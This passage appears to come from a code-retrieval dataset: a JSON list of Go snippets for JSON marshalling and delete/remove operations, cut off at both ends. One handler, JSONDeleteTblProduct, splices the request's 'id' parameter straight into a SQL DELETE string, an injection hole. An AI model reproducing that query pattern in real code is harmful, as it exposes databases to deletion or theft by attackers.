d.Where,\\n\\t}\\n\\treturn json.Marshal(temp)\\n}\",\n \"func EncodeRemoveResponse(_ context.Context, w http.ResponseWriter, response interface{}) (err error) {\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json; charset=utf-8\\\")\\n\\te := json.NewEncoder(w)\\n\\te.SetIndent(\\\"\\\", \\\"\\\\t\\\")\\n\\terr = e.Encode(response)\\n\\treturn err\\n}\",\n \"func Test_jsonpatch_Remove_ObjectAndArray(t *testing.T) {\\n\\tg := NewWithT(t)\\n\\n\\torigDoc := []byte(`{\\n\\t\\t\\\"asd\\\":\\\"foof\\\",\\n\\t\\t\\\"test_obj\\\":{\\\"color\\\":\\\"red\\\", \\\"model\\\":\\\"sedan\\\"},\\n\\t\\t\\\"test_array\\\":[\\\"uno\\\", \\\"deux\\\", \\\"three\\\"]\\n }`)\\n\\n\\tpatch1, _ := jsonpatch.DecodePatch([]byte(`[\\n\\t\\t{\\\"op\\\":\\\"remove\\\", \\\"path\\\":\\\"/test_obj\\\"},\\n\\t\\t{\\\"op\\\":\\\"remove\\\", \\\"path\\\":\\\"/test_array\\\"}\\n\\t]`))\\n\\n\\texpectNewDoc := []byte(`{\\\"asd\\\":\\\"foof\\\"}`)\\n\\n\\tnewDoc, err := patch1.Apply(origDoc)\\n\\tg.Expect(err).ShouldNot(HaveOccurred(), \\\"patch apply\\\")\\n\\tg.Expect(jsonpatch.Equal(newDoc, expectNewDoc)).Should(BeTrue(), \\\"%v is not equal to %v\\\", string(newDoc), string(expectNewDoc))\\n}\",\n \"func (v RemoveSymbolFromWatchlistRequest) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjson3e8ab7adEncodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca10(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (v deleteByQuery) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjson390b7126EncodeGithubComChancedPicker39(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (obj CartRemoveCustomLineItemAction) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CartRemoveCustomLineItemAction\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"action\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"removeCustomLineItem\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (obj CartRemoveShippingMethodAction) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CartRemoveShippingMethodAction\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"action\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"removeShippingMethod\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (v EventPipelineDelete) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk25(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (v EventPipelinePermissionDelete) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk12(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (v RemoveUserData) MarshalEasyJSON(w *jwriter.Writer) {\\n\\teasyjsonD2b7633eEncode20191OPGPlus2InternalPkgModels14(w, v)\\n}\",\n \"func (v deleteByQuery) MarshalEasyJSON(w *jwriter.Writer) {\\n\\teasyjson390b7126EncodeGithubComChancedPicker39(w, v)\\n}\",\n \"func (obj CartRemoveDiscountCodeAction) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CartRemoveDiscountCodeAction\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"action\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"removeDiscountCode\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func marshalDeletion(id *firestore.DocumentRef, updatedAt time.Time) (types.Mutation, error) {\\n\\tkey, err := json.Marshal([]string{id.ID})\\n\\tif err != nil {\\n\\t\\treturn types.Mutation{}, errors.WithStack(err)\\n\\t}\\n\\n\\treturn types.Mutation{\\n\\t\\tKey: key,\\n\\t\\tTime: hlc.New(updatedAt.UnixNano(), 0),\\n\\t}, nil\\n}\",\n \"func (v EventApplicationPermissionDelete) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk16(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (v EventPipelineParameterDelete) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk16(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (obj CartRemoveItemShippingAddressAction) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CartRemoveItemShippingAddressAction\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"action\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"removeItemShippingAddress\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (nre NodeRemovedEvent) MarshalJSON() ([]byte, error) {\\n\\tnre.Kind = KindNodeRemoved\\n\\tobjectMap := make(map[string]interface{})\\n\\tif nre.NodeID != nil {\\n\\t\\tobjectMap[\\\"NodeId\\\"] = nre.NodeID\\n\\t}\\n\\tif nre.NodeInstance != nil {\\n\\t\\tobjectMap[\\\"NodeInstance\\\"] = nre.NodeInstance\\n\\t}\\n\\tif nre.NodeType != nil {\\n\\t\\tobjectMap[\\\"NodeType\\\"] = nre.NodeType\\n\\t}\\n\\tif nre.FabricVersion != nil {\\n\\t\\tobjectMap[\\\"FabricVersion\\\"] = nre.FabricVersion\\n\\t}\\n\\tif nre.IPAddressOrFQDN != nil {\\n\\t\\tobjectMap[\\\"IpAddressOrFQDN\\\"] = nre.IPAddressOrFQDN\\n\\t}\\n\\tif nre.NodeCapacities != nil {\\n\\t\\tobjectMap[\\\"NodeCapacities\\\"] = nre.NodeCapacities\\n\\t}\\n\\tif nre.NodeName != nil {\\n\\t\\tobjectMap[\\\"NodeName\\\"] = nre.NodeName\\n\\t}\\n\\tif nre.EventInstanceID != nil {\\n\\t\\tobjectMap[\\\"EventInstanceId\\\"] = nre.EventInstanceID\\n\\t}\\n\\tif nre.TimeStamp != nil {\\n\\t\\tobjectMap[\\\"TimeStamp\\\"] = nre.TimeStamp\\n\\t}\\n\\tif nre.HasCorrelatedEvents != nil {\\n\\t\\tobjectMap[\\\"HasCorrelatedEvents\\\"] = nre.HasCorrelatedEvents\\n\\t}\\n\\tif nre.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = nre.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (v EventPipelineJobDelete) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk23(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func cleanJSON(d interface{}) (jsonBuf []byte, id, rev string, err error) {\\n\\tjsonBuf, err = json.Marshal(d)\\n\\tif err != nil {\\n\\t\\treturn\\n\\t}\\n\\tm := map[string]interface{}{}\\n\\tmust(json.Unmarshal(jsonBuf, &m))\\n\\tid, _ = m[\\\"_id\\\"].(string)\\n\\tdelete(m, \\\"_id\\\")\\n\\trev, _ = m[\\\"_rev\\\"].(string)\\n\\tdelete(m, \\\"_rev\\\")\\n\\tjsonBuf, err = json.Marshal(m)\\n\\treturn\\n}\",\n \"func (a *RemoveScriptToEvaluateOnNewDocumentArgs) MarshalJSON() ([]byte, error) {\\n\\ttype Copy RemoveScriptToEvaluateOnNewDocumentArgs\\n\\tc := &Copy{}\\n\\t*c = Copy(*a)\\n\\treturn json.Marshal(&c)\\n}\",\n \"func JSONDeleteTblProduct(c *gin.Context) {\\n\\tDb, err := config.DbConnect()\\n\\tif err != nil {\\n\\t\\tpanic(\\\"Not Connect database\\\")\\n\\t}\\n\\tparamID := c.Param(\\\"id\\\")\\n\\tquery := `DELETE FROM tabelproduct WHERE id ='` + paramID + `';`\\n\\tupdDB, err := Db.Query(query)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\tdefer updDB.Close()\\n\\tDb.Close()\\n\\tc.JSON(http.StatusOK, \\\"Delete record successfully\\\")\\n}\",\n \"func (v EventApplicationDelete) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk21(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (v EventApplicationRepositoryDelete) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk8(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (op OpRetain) MarshalJSON() ([]byte, error) {\\n\\treturn json.Marshal(op.Fields)\\n}\",\n \"func (c *KafkaCluster) removeMarshal(m *Marshaler) {\\n\\tc.lock.Lock()\\n\\tdefer c.lock.Unlock()\\n\\n\\tfor i, ml := range c.marshalers {\\n\\t\\tif ml == m {\\n\\t\\t\\tc.marshalers = append(c.marshalers[:i], c.marshalers[i+1:]...)\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n}\",\n \"func (r Record) Remove(bs []byte) *RecordRemoveResult {\\n\\tdata := new(RecordRemoveResult)\\n\\terr := json.Unmarshal(bs, data)\\n\\tif err != nil {\\n\\t\\treturn nil\\n\\t}\\n\\treturn data\\n}\",\n \"func (v EventPipelineStageDelete) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk4(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (obj CartSetDeleteDaysAfterLastModificationAction) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CartSetDeleteDaysAfterLastModificationAction\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"action\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"setDeleteDaysAfterLastModification\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func (cepbo CheckExistsPropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tcepbo.Kind = KindCheckExists\\n\\tobjectMap := make(map[string]interface{})\\n\\tif cepbo.Exists != nil {\\n\\t\\tobjectMap[\\\"Exists\\\"] = cepbo.Exists\\n\\t}\\n\\tif cepbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = cepbo.PropertyName\\n\\t}\\n\\tif cepbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = cepbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func encodeDeleteResponse(ctx context.Context, w http1.ResponseWriter, response interface{}) (err error) {\\n\\tif f, ok := response.(endpoint.Failure); ok && f.Failed() != nil {\\n\\t\\tErrorEncoder(ctx, f.Failed(), w)\\n\\t\\treturn nil\\n\\t}\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json; charset=utf-8\\\")\\n\\terr = json.NewEncoder(w).Encode(response)\\n\\treturn\\n}\",\n \"func encodeDeleteResponse(ctx context.Context, w http1.ResponseWriter, response interface{}) (err error) {\\n\\tif f, ok := response.(endpoint.Failure); ok && f.Failed() != nil {\\n\\t\\tErrorEncoder(ctx, f.Failed(), w)\\n\\t\\treturn nil\\n\\t}\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json; charset=utf-8\\\")\\n\\terr = json.NewEncoder(w).Encode(response)\\n\\treturn\\n}\",\n \"func (r *Request) DeleteJSON(path string, data interface{}) {\\n\\tb, err := json.Marshal(data)\\n\\tif err != nil {\\n\\t\\tr.t.Fatalf(\\\"httptesting: DeleteJSON:json.Marshal(%T): %v\\\", data, err)\\n\\t}\\n\\n\\tr.Delete(path, \\\"application/json\\\", b)\\n}\",\n \"func (obj CartUnfreezeCartAction) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CartUnfreezeCartAction\\n\\treturn json.Marshal(struct {\\n\\t\\tAction string `json:\\\"action\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"unfreezeCart\\\", Alias: (*Alias)(&obj)})\\n}\",\n \"func JSONOpString(v []types.Operation) (string, error) {\\n\\tvar tx types.Operations\\n\\n\\ttx = append(tx, v...)\\n\\n\\tans, err := types.JSONMarshal(tx)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\treturn string(ans), nil\\n}\",\n \"func (o Operation)MarshalJSON() ([]byte, error){\\n objectMap := make(map[string]interface{})\\n return json.Marshal(objectMap)\\n }\",\n \"func DecodeRemoveRequest(_ context.Context, r *http.Request) (req interface{}, err error) {\\n\\treq = endpoints.RemoveRequest{Id: mux.Vars(r)[\\\"id\\\"]}\\n\\t//err = json.NewDecoder(r.Body).Decode(&r)\\n\\treturn req, err\\n}\",\n \"func (v EventApplicationKeyDelete) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk18(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (v EventPipelineParameterDelete) MarshalEasyJSON(w *jwriter.Writer) {\\n\\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk16(w, v)\\n}\",\n \"func (gpbo GetPropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tgpbo.Kind = KindGet\\n\\tobjectMap := make(map[string]interface{})\\n\\tif gpbo.IncludeValue != nil {\\n\\t\\tobjectMap[\\\"IncludeValue\\\"] = gpbo.IncludeValue\\n\\t}\\n\\tif gpbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = gpbo.PropertyName\\n\\t}\\n\\tif gpbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = gpbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (v EventPipelineDelete) MarshalEasyJSON(w *jwriter.Writer) {\\n\\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk25(w, v)\\n}\",\n \"func (v EventPipelinePermissionDelete) MarshalEasyJSON(w *jwriter.Writer) {\\n\\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk12(w, v)\\n}\",\n \"func (d DeletedSecretItem) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\tpopulate(objectMap, \\\"attributes\\\", d.Attributes)\\n\\tpopulate(objectMap, \\\"contentType\\\", d.ContentType)\\n\\tpopulateTimeUnix(objectMap, \\\"deletedDate\\\", d.DeletedDate)\\n\\tpopulate(objectMap, \\\"id\\\", d.ID)\\n\\tpopulate(objectMap, \\\"managed\\\", d.Managed)\\n\\tpopulate(objectMap, \\\"recoveryId\\\", d.RecoveryID)\\n\\tpopulateTimeUnix(objectMap, \\\"scheduledPurgeDate\\\", d.ScheduledPurgeDate)\\n\\tpopulate(objectMap, \\\"tags\\\", d.Tags)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (u BasicUpdateOperation) JSON() string {\\n\\tj, _ := json.Marshal(u)\\n\\treturn string(j)\\n}\",\n \"func (ppbo PutPropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tppbo.Kind = KindPut\\n\\tobjectMap := make(map[string]interface{})\\n\\tobjectMap[\\\"Value\\\"] = ppbo.Value\\n\\tif ppbo.CustomTypeID != nil {\\n\\t\\tobjectMap[\\\"CustomTypeId\\\"] = ppbo.CustomTypeID\\n\\t}\\n\\tif ppbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = ppbo.PropertyName\\n\\t}\\n\\tif ppbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = ppbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func TestRemove(t *testing.T) {\\n\\toriginCtrl := gomock.NewController(t)\\n\\tdefer originCtrl.Finish()\\n\\tmockOrigin := mocks.NewMockConnector(originCtrl)\\n\\n\\tfallbackCtrl := gomock.NewController(t)\\n\\tdefer fallbackCtrl.Finish()\\n\\tmockFallback := mocks.NewMockConnector(fallbackCtrl)\\n\\n\\tkeys := map[string]dosa.FieldValue{}\\n\\ttransformedKeys := map[string]dosa.FieldValue{key: []byte{}}\\n\\tmockOrigin.EXPECT().Remove(context.TODO(), testEi, keys).Return(nil)\\n\\tmockFallback.EXPECT().Remove(gomock.Not(context.TODO()), adaptedEi, transformedKeys).Return(nil)\\n\\n\\tconnector := NewConnector(mockOrigin, mockFallback, NewJSONEncoder(), nil, cacheableEntities...)\\n\\tconnector.setSynchronousMode(true)\\n\\terr := connector.Remove(context.TODO(), testEi, keys)\\n\\tassert.NoError(t, err)\\n}\",\n \"func delJSONRaw(data []byte, path string, pathRequired bool) ([]byte, error) {\\n\\tvar err error\\n\\tsplitPath := customSplit(path)\\n\\tnumOfInserts := 0\\n\\n\\tfor element, k := range splitPath {\\n\\t\\tarrayRefs := jsonPathRe.FindAllStringSubmatch(k, -1)\\n\\t\\tif arrayRefs != nil && len(arrayRefs) > 0 {\\n\\t\\t\\tobjKey := arrayRefs[0][1] // the key\\n\\t\\t\\tarrayKeyStr := arrayRefs[0][2] // the array index\\n\\t\\t\\terr = validateArrayKeyString(arrayKeyStr)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn nil, err\\n\\t\\t\\t}\\n\\n\\t\\t\\t// not currently supported\\n\\t\\t\\tif arrayKeyStr == \\\"*\\\" {\\n\\t\\t\\t\\treturn nil, SpecError(\\\"Array wildcard not supported for this operation.\\\")\\n\\t\\t\\t}\\n\\n\\t\\t\\t// if not a wildcard then piece that path back together with the\\n\\t\\t\\t// array index as an entry in the splitPath slice\\n\\t\\t\\tsplitPath = makePathWithIndex(arrayKeyStr, objKey, splitPath, element+numOfInserts)\\n\\t\\t\\tnumOfInserts++\\n\\t\\t} else {\\n\\t\\t\\t// no array reference, good to go\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t}\\n\\n\\tif pathRequired {\\n\\t\\t_, _, _, err = jsonparser.Get(data, splitPath...)\\n\\t\\tif err == jsonparser.KeyPathNotFoundError {\\n\\t\\t\\treturn nil, NonExistentPath\\n\\t\\t} else if err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t}\\n\\n\\tdata = jsonparser.Delete(data, splitPath...)\\n\\treturn data, nil\\n}\",\n \"func (sde ServiceDeletedEvent) MarshalJSON() ([]byte, error) {\\n\\tsde.Kind = KindServiceDeleted\\n\\tobjectMap := make(map[string]interface{})\\n\\tif sde.ServiceTypeName != nil {\\n\\t\\tobjectMap[\\\"ServiceTypeName\\\"] = sde.ServiceTypeName\\n\\t}\\n\\tif sde.ApplicationName != nil {\\n\\t\\tobjectMap[\\\"ApplicationName\\\"] = sde.ApplicationName\\n\\t}\\n\\tif sde.ApplicationTypeName != nil {\\n\\t\\tobjectMap[\\\"ApplicationTypeName\\\"] = sde.ApplicationTypeName\\n\\t}\\n\\tif sde.ServiceInstance != nil {\\n\\t\\tobjectMap[\\\"ServiceInstance\\\"] = sde.ServiceInstance\\n\\t}\\n\\tif sde.IsStateful != nil {\\n\\t\\tobjectMap[\\\"IsStateful\\\"] = sde.IsStateful\\n\\t}\\n\\tif sde.PartitionCount != nil {\\n\\t\\tobjectMap[\\\"PartitionCount\\\"] = sde.PartitionCount\\n\\t}\\n\\tif sde.TargetReplicaSetSize != nil {\\n\\t\\tobjectMap[\\\"TargetReplicaSetSize\\\"] = sde.TargetReplicaSetSize\\n\\t}\\n\\tif sde.MinReplicaSetSize != nil {\\n\\t\\tobjectMap[\\\"MinReplicaSetSize\\\"] = sde.MinReplicaSetSize\\n\\t}\\n\\tif sde.ServicePackageVersion != nil {\\n\\t\\tobjectMap[\\\"ServicePackageVersion\\\"] = sde.ServicePackageVersion\\n\\t}\\n\\tif sde.ServiceID != nil {\\n\\t\\tobjectMap[\\\"ServiceId\\\"] = sde.ServiceID\\n\\t}\\n\\tif sde.EventInstanceID != nil {\\n\\t\\tobjectMap[\\\"EventInstanceId\\\"] = sde.EventInstanceID\\n\\t}\\n\\tif sde.TimeStamp != nil {\\n\\t\\tobjectMap[\\\"TimeStamp\\\"] = sde.TimeStamp\\n\\t}\\n\\tif sde.HasCorrelatedEvents != nil {\\n\\t\\tobjectMap[\\\"HasCorrelatedEvents\\\"] = sde.HasCorrelatedEvents\\n\\t}\\n\\tif sde.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = sde.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (insert InsertOperation) MarshalJSON() ([]byte, error) {\\n\\t// validate required fields\\n\\tswitch {\\n\\tcase len(insert.Table) == 0:\\n\\t\\treturn nil, errors.New(\\\"Table field is required\\\")\\n\\tcase insert.Row == nil:\\n\\t\\treturn nil, errors.New(\\\"Row field is required\\\")\\n\\t}\\n\\n\\tvar temp = struct {\\n\\t\\tOp OperationType `json:\\\"op\\\"`\\n\\t\\tTable ID `json:\\\"table\\\"`\\n\\t\\tRow Row `json:\\\"row\\\"`\\n\\t\\tUUIDName ID `json:\\\"uuid-name,omitempty\\\"`\\n\\t}{\\n\\t\\tOp: insert.Op(),\\n\\t\\tTable: insert.Table,\\n\\t\\tRow: insert.Row,\\n\\t\\tUUIDName: insert.UUIDName,\\n\\t}\\n\\n\\treturn json.Marshal(temp)\\n}\",\n \"func stripRemovedStateAttributes(state []byte, ty cty.Type) []byte {\\n\\tjsonMap := map[string]interface{}{}\\n\\terr := json.Unmarshal(state, &jsonMap)\\n\\tif err != nil {\\n\\t\\t// we just log any errors here, and let the normal decode process catch\\n\\t\\t// invalid JSON.\\n\\t\\tlog.Printf(\\\"[ERROR] UpgradeResourceState: stripRemovedStateAttributes: %s\\\", err)\\n\\t\\treturn state\\n\\t}\\n\\n\\t// if no changes were made, we return the original state to ensure nothing\\n\\t// was altered in the marshaling process.\\n\\tif !removeRemovedAttrs(jsonMap, ty) {\\n\\t\\treturn state\\n\\t}\\n\\n\\tjs, err := json.Marshal(jsonMap)\\n\\tif err != nil {\\n\\t\\t// if the json map was somehow mangled enough to not marhsal, something\\n\\t\\t// went horribly wrong\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\treturn js\\n}\",\n \"func (p *Parser) Remove(pattern string) error {\\n return p.json.Remove(pattern)\\n}\",\n \"func (op *OpAdd) UnmarshalJSON(raw []byte) error {\\n\\tvar addRaw opAddRaw\\n\\terr := json.Unmarshal(raw, &addRaw)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"decode OpAdd: %s\\\", err)\\n\\t}\\n\\n\\treturn op.unmarshalFromOpAddRaw(addRaw)\\n}\",\n \"func (mutate MutateOperation) MarshalJSON() ([]byte, error) {\\n\\t// validate required fields\\n\\tswitch {\\n\\tcase len(mutate.Table) == 0:\\n\\t\\treturn nil, errors.New(\\\"Table field is required\\\")\\n\\tcase len(mutate.Where) == 0:\\n\\t\\treturn nil, errors.New(\\\"Where field is required\\\")\\n\\tcase len(mutate.Mutations) == 0:\\n\\t\\treturn nil, errors.New(\\\"Mutations field is required\\\")\\n\\t}\\n\\t// validate contions\\n\\tfor _, cond := range mutate.Where {\\n\\t\\tif !cond.Valid() {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"Invalid condition: %v\\\", cond)\\n\\t\\t}\\n\\t}\\n\\t// validate mutations\\n\\tfor _, mutation := range mutate.Mutations {\\n\\t\\tif !mutation.Valid() {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"Invalid mutation: %v\\\", mutation)\\n\\t\\t}\\n\\t}\\n\\n\\tvar temp = struct {\\n\\t\\tOp OperationType `json:\\\"op\\\"`\\n\\t\\tTable ID `json:\\\"table\\\"`\\n\\t\\tWhere []Condition `json:\\\"where\\\"`\\n\\t\\tMutations []Mutation `json:\\\"mutations\\\"`\\n\\t}{\\n\\t\\tOp: mutate.Op(),\\n\\t\\tTable: mutate.Table,\\n\\t\\tWhere: mutate.Where,\\n\\t\\tMutations: mutate.Mutations,\\n\\t}\\n\\n\\treturn json.Marshal(temp)\\n}\",\n \"func (w *WebPurifyRequest) convertToRemoveFromAllowListResponse(resp http.Response) (response.WebPurifyRemoveFromAllowListResponse, error) {\\n\\tbody, err := ioutil.ReadAll(resp.Body)\\n\\n\\tif err != nil {\\n\\t\\treturn response.WebPurifyRemoveFromAllowListResponse{}, err\\n\\t}\\n\\n\\tresponseWrapper := response.WebPurifyRemoveFromAllowListResponseWrapper{}\\n\\n\\terr = json.Unmarshal(body, &responseWrapper)\\n\\tif err != nil {\\n\\t\\treturn response.WebPurifyRemoveFromAllowListResponse{}, err\\n\\t}\\n\\n\\treturn responseWrapper.Response, nil\\n}\",\n \"func (v EventApplicationVariableDelete) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk4(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func removeBobba(w http.ResponseWriter, r *http.Request) {\\n\\tvars := mux.Vars(r)\\n\\tid, err := getRequestID(vars, \\\"id\\\")\\n\\n\\t// Set JSON header\\n\\tw.Header().Set(\\\"Content-type\\\", \\\"application/json\\\")\\n\\tif err != nil {\\n\\t\\terrPayload := buildErrorPayload(idEmptyRemove, 200)\\n\\n\\t\\tw.Write(errPayload)\\n\\t\\treturn\\n\\t}\\n\\n\\terr = runRemoveRoutine(id)\\n\\tif err != nil {\\n\\t\\terrPayload := buildErrorPayload(err.Error(), 200)\\n\\t\\tw.Write(errPayload)\\n\\t}\\n\\n\\tpayload := buildSuccessPayload(\\\"success\\\", 200)\\n\\tw.Write(payload)\\n}\",\n \"func Test_jsonpatch_Add_Remove_for_array(t *testing.T) {\\n\\tg := NewWithT(t)\\n\\n\\t// 1. Create array\\n\\torigDoc := []byte(`{\\\"root\\\":{}}`)\\n\\n\\tpatch1, _ := DecodePatch([]byte(`\\n[{\\\"op\\\":\\\"add\\\", \\\"path\\\":\\\"/root/array\\\", \\\"value\\\":[]}]\\n`))\\n\\n\\texpectNewDoc := []byte(`{\\\"root\\\":{\\\"array\\\":[]}}`)\\n\\n\\tnewDoc, err := patch1.Apply(origDoc)\\n\\tg.Expect(err).ShouldNot(HaveOccurred(), \\\"patch 1 apply\\\")\\n\\tg.Expect(JSONEqual(newDoc, expectNewDoc)).Should(BeTrue(), \\\"%v is not equal to %v\\\", string(newDoc), string(expectNewDoc))\\n\\n\\t// 2. Add last element.\\n\\torigDoc = newDoc\\n\\tpatch1, _ = DecodePatch([]byte(`\\n[{\\\"op\\\":\\\"add\\\", \\\"path\\\":\\\"/root/array/-\\\", \\\"value\\\":\\\"azaza\\\"}]\\n`))\\n\\n\\texpectNewDoc = []byte(`{\\\"root\\\":{\\\"array\\\":[\\\"azaza\\\"]}}`)\\n\\n\\tnewDoc, err = patch1.Apply(origDoc)\\n\\tg.Expect(err).ShouldNot(HaveOccurred(), \\\"patch 2 apply\\\")\\n\\tg.Expect(JSONEqual(newDoc, expectNewDoc)).Should(BeTrue(), \\\"%v is not equal to %v\\\", string(newDoc), string(expectNewDoc))\\n\\n\\t// 3. Add more elements.\\n\\torigDoc = newDoc\\n\\n\\tpatch1, _ = DecodePatch([]byte(`\\n[ {\\\"op\\\":\\\"add\\\", \\\"path\\\":\\\"/root/array/-\\\", \\\"value\\\":\\\"ololo\\\"},\\n {\\\"op\\\":\\\"add\\\", \\\"path\\\":\\\"/root/array/-\\\", \\\"value\\\":\\\"foobar\\\"},\\n {\\\"op\\\":\\\"add\\\", \\\"path\\\":\\\"/root/array/-\\\", \\\"value\\\":\\\"baz\\\"}\\n]\\n`))\\n\\n\\texpectNewDoc = []byte(`{\\\"root\\\":{\\\"array\\\":[\\\"azaza\\\", \\\"ololo\\\", \\\"foobar\\\", \\\"baz\\\"]}}`)\\n\\n\\tnewDoc, err = patch1.Apply(origDoc)\\n\\tg.Expect(err).ShouldNot(HaveOccurred(), \\\"patch 3 apply\\\")\\n\\tg.Expect(JSONEqual(newDoc, expectNewDoc)).Should(BeTrue(), \\\"%v is not equal to %v\\\", string(newDoc), string(expectNewDoc))\\n\\n\\t// 4. Remove elements in the middle.\\n\\torigDoc = newDoc\\n\\tpatch1, _ = DecodePatch([]byte(`\\n[ {\\\"op\\\":\\\"remove\\\", \\\"path\\\":\\\"/root/array/1\\\"},\\n {\\\"op\\\":\\\"remove\\\", \\\"path\\\":\\\"/root/array/2\\\"}\\n]\\n`))\\n\\n\\t// Operations in patch are not atomic, so after removing index 1, index 2 become 1.\\n\\t// \\\"remove 1, remove 2\\\" actually do: \\\"remove 1, remove 3\\\"\\n\\n\\t// wrong expectation...\\n\\t// expectNewDoc = []byte(`{\\\"root\\\":{\\\"array\\\":[\\\"azaza\\\", \\\"baz\\\"]}}`)\\n\\t// Actual result\\n\\texpectNewDoc = []byte(`{\\\"root\\\":{\\\"array\\\":[\\\"azaza\\\", \\\"foobar\\\"]}}`)\\n\\n\\tnewDoc, err = patch1.Apply(origDoc)\\n\\tg.Expect(err).ShouldNot(HaveOccurred(), \\\"patch 4 apply\\\")\\n\\n\\tg.Expect(JSONEqual(newDoc, expectNewDoc)).Should(BeTrue(), \\\"%v is not equal to %v\\\", 